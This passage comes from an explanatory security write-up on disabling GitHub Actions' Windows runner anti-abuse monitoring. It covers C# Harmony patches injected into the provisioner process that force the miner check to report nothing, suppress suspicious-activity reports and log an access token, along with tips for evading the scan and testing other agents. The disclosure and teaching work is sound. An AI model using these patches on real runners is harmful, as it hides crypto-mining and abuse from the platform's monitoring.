- The class targets
ScriptTaskValidator. - The prefix takes
ref string exeAndArgs, a reference to the argument string, so it can change what the original method sees. exeAndArgs += " ..."appends a space and a Monero address to the string. This deliberately makes every process look like a miner, so the guard's check fires and the researcher can watch it happen.- The postfix receives the same string and
ref bool __result, the original method's answer. - It logs the arguments and the original answer, then sets
__result = false, so the caller is told "nothing bad here" even though the original said otherwise.
The resulting log shows the original function returning True for every process, and the postfix overriding it:
ScriptTaskValidator // HasBadParamOrArgument(dotnet "C:\Program Files\dotnet\dotnet.exe" exec "C:\Program Files\dotnet\sdk\6.0.301\Roslyn\bincore\VBCSCompiler.dll" "-pipename:q1wL+[redacted]" [redacted], ..., ...) = True
ScriptTaskValidator // HasBadParamOrArgument(conhost \??\C:\Windows\system32\conhost.exe 0x4 [redacted], ..., ...) = True
ScriptTaskValidator // HasBadParamOrArgument(cmd "C:\Windows\system32\cmd.EXE" /D /E:ON /V:OFF /S /C "CALL "D:\a\_temp\b6691e1d-9d87-4460-bf1f-42cf7bfa196d.cmd"" [redacted], ..., ...) = True
ScriptTaskValidator // HasBadParamOrArgument(python python scripts\server.py [redacted], ..., ...) = True
ScriptTaskValidator // HasBadParamOrArgument(taskhostw taskhostw.exe [redacted], ..., ...) = True
Each line is one process the guard examined: dotnet, conhost, cmd, python, taskhostw. In every case the appended Monero address made the check return True, and the postfix would have turned that into false for the caller. Such an attack may allow a Monero miner to be launched without reporting suspicious activity.
Suppressing the report to GitHub (not tested)
The researcher also shows, without testing it so as not to do anything banned on GitHub, how the function that reports suspicious activity could be replaced:
[HarmonyPatch(typeof(MachineManagement.Provisioning.MachineManagementClient))]
public class MachineManagementClientPatches
{
[HarmonyPrefix]
[HarmonyPatch(nameof(MachineManagement.Provisioning.MachineManagementClient.ReportSuspiciousActivityAsync))]
static bool ReportSuspiciousActivityAsync(
long requestId,
byte[] postRegistrationAccessToken,
string suspiciousActivity,
string poolName,
string instanceName,
ref Task __result
)
{
var token = Convert.ToHexString(postRegistrationAccessToken);
NetworkLogger.GetInstance().Write($"MachineManagementClient // ReportSuspiciousActivityAsync({requestId}, {token}, {suspiciousActivity}, {poolName}, {instanceName})");
__result = new Task(() => {
//replace task with nothing
});
return false; //don't call MachineManagementClient.ReportSuspiciousActivityAsync(...)
}
}
Line by line:
- The class targets
MachineManagementClient, the part of the provisioner that talks to GitHub's servers. - The prefix mirrors the original method's arguments: a request id, a byte array holding a post-registration access token, a description of the suspicious activity, a pool name and an instance name.
Convert.ToHexString(postRegistrationAccessToken)turns the token bytes into readable hexadecimal text so they can be logged. A token here is a credential, a secret string that proves the machine is allowed to talk to GitHub; it is sensitive and should never be logged in real life.- The log line writes all of it out.
__result = new Task(() => { ... })replaces the returnedTaskwith an empty one. A Task in .NET represents work happening in the background; an empty task means "work finished, nothing to report".return falsetells Harmony not to run the original method, so the real report is never sent.
The full code is in projects/csharp/patcher/patcher/Main.cs.
Running the proof of concept on a runner
A proof of concept (PoC) is a small demonstration that a vulnerability is real, without doing damage. The complete project contains .github/workflows/build.yml. Uploaded to GitHub, it automatically runs an action that builds the payload from source, runs a local Python server and exits after 15 minutes. A payload is the code you want the target to run.
Why this works at all
The provisioner process is not isolated from the user's custom scripts and runs as the user runneradmin. User context means the account and permissions a program runs under. Any code the workflow can run can therefore open the process, allocate memory in it, write a payload and start a remote thread. Because the provisioner is a .NET application, the injected native code can host the runtime itself and load a C# assembly into the running process, after which Harmony can rewrite the behaviour of the monitoring jobs. The anti-abuse checks live inside a process the user's script can write to, because the provisioner is not isolated from custom scripts. The non-exported fx_muxer_t::get_active_host_context() is reachable through a fixed code pattern inside an exported function, so address randomisation does not protect the runtime hosting path either.
What it means in practice
In theory, an attacker can do a lot of bad things with this attack vector. The proof of concept shows a way to bypass the Virtual Environment Provisioner restrictions so that bad binaries could run without an immediate ban from the automatic security system.: the recursive file scan can be disabled, the process argument check can be forced to return false, and the suspicious activity report can be suppressed. The researcher did not test the last one, and deliberately did not run anything prohibited on GitHub. All of this is specific to windows-latest VMs.
What was fixed
GitHub rewarded the report, but the write-up does not describe any change made to the provisioner or the runner.
Other places to look
- Other hosted runner images. The report covers
windows-latestonly. Check whether a similar provisioner process exists on other images and whether it runs in the same user context as the workflow; a positive result is a process you can open withOpenProcessand whose modules you can enumerate from a workflow step. - Other .NET monitoring agents. Any agent that is a .NET process running as the same user is a candidate for the same runtime hosting technique. A positive result is a Harmony patch that changes a logged return value.
- Non-exported function resolution. The opcode-scanning trick works wherever an exported function calls a non-exported one at a fixed offset. A positive result is a computed address that matches the one found statically in a disassembler.
- Depth-limited recursive scans. The file scan stops at depth 5. Place a payload below that depth and observe whether it is reported; a positive result is a scan that never reaches the file.
- Token-based process matching. The argument check relies on regexes such as the XMR pattern. Try processes whose arguments contain a matching token and confirm whether the check fires; a positive result is a
Trueresult in the validator log.
Glossary
- ASLR (Address Space Layout Randomisation): a defence that places code at a different memory address each time a program starts, so attackers cannot rely on fixed addresses.
- Assembly (.NET): a compiled package of C# code, roughly the .NET word for a DLL.
- Attribute: a label attached to code that tools read, such as
[HarmonyPrefix]. - Base address: the memory address where a library has been loaded.
- Class: a named block of code in an object-oriented language, like a labelled drawer in a filing cabinet.
- Constructor: the code that runs when an object is created.
- CPU: the processor, the part of a computer that executes instructions.
- C#: a programming language that runs on .NET.
- Crypto-mining: using someone else's computer to do the maths that earns cryptocurrency, costing the victim electricity.
- Decompiling: turning a compiled program back into something close to its original source code.
- DLL: a library file containing code that other programs load and use.
- dnSpyEx: a tool that opens a compiled .NET program and shows its code.
- Entrypoint: the function that starts a program or a piece of code.
- Exported: published by a library so other programs can find it by name.
- Function: a named piece of code you can call.
- Function pointer: a value that says where a function's code sits in memory, like a phone number instead of a name.
- GitHub Actions: GitHub's feature for running automated tasks on fresh machines.
- Handle: a permission slip the operating system gives you to act on something, such as a process.
- Harmony: a .NET library that lets you run your own code before or after an existing method without editing the original file.
- Hash: a short number computed from data such as a name, used to look things up without storing the name.
- Hosts file: a small text file that maps names to addresses on a computer.
- IDA Pro: a program for viewing compiled machine code as text.
- Injection: putting code into another running program and making it execute.
- IPv4: the common numbering scheme for internet addresses.
- Isolation: keeping two things apart so one cannot touch the other.
- Little-endian: a way of storing numbers where the bytes are read from right to left.
- Method: a function that belongs to a class.
- Metrics: measurements, such as how busy the CPU or RAM is.
- Monero (XMR): a cryptocurrency often used by miners; its addresses are 95 characters long.
- Mining pool: a group of miners who combine their work and share the reward.
- Native code: instructions compiled directly for Windows, as opposed to C# which needs .NET.
- .NET: a software platform that sits between a C# program and Windows and runs it.
- Namespace: a grouping of related code.
- Opcode: the byte that identifies a machine instruction, such as
0xE8for a call. - Payload: the code you want the target to run.
- Pointer: a variable holding a memory address.
- Postfix: in Harmony, code that runs after the original method and can replace its result.
- Prefix: in Harmony, code that runs before the original method and can cancel it.
- Process: a running program.
- Process id: the number Windows gives each running program.
- Proof of concept (PoC): a small demonstration that a vulnerability is real, without doing damage.
- RAM: working memory, where a computer keeps data it is using right now.
- Regex (regular expression): a pattern for matching text, like a very precise search rule.
- Remote RDP: Remote Desktop, the feature that lets you see and control another computer's screen; reverse RDP means the remote machine connects back to you.
- RIP: the processor register holding the address of the instruction currently being executed.
- Runner: the machine that executes a workflow.
- Shellcode: a small blob of raw machine instructions an attacker wants a program to run.
- Static: shared by a whole class rather than tied to one object.
- Thread: a stream of execution inside a process, like a worker following a list of tasks.
- Token: a piece of text to look for, or a credential proving permission; the context decides which.
- Trojan: a program that looks harmless but does something malicious.
- User context: the account and permissions a program runs under.
- Virtual machine (VM): a computer simulated by software, behaving like a real computer.
- Virtual memory: the memory a program sees as its own.
- Workflow: the recipe file describing what GitHub Actions should run.
- x86_64: the family of processors used by Windows runners.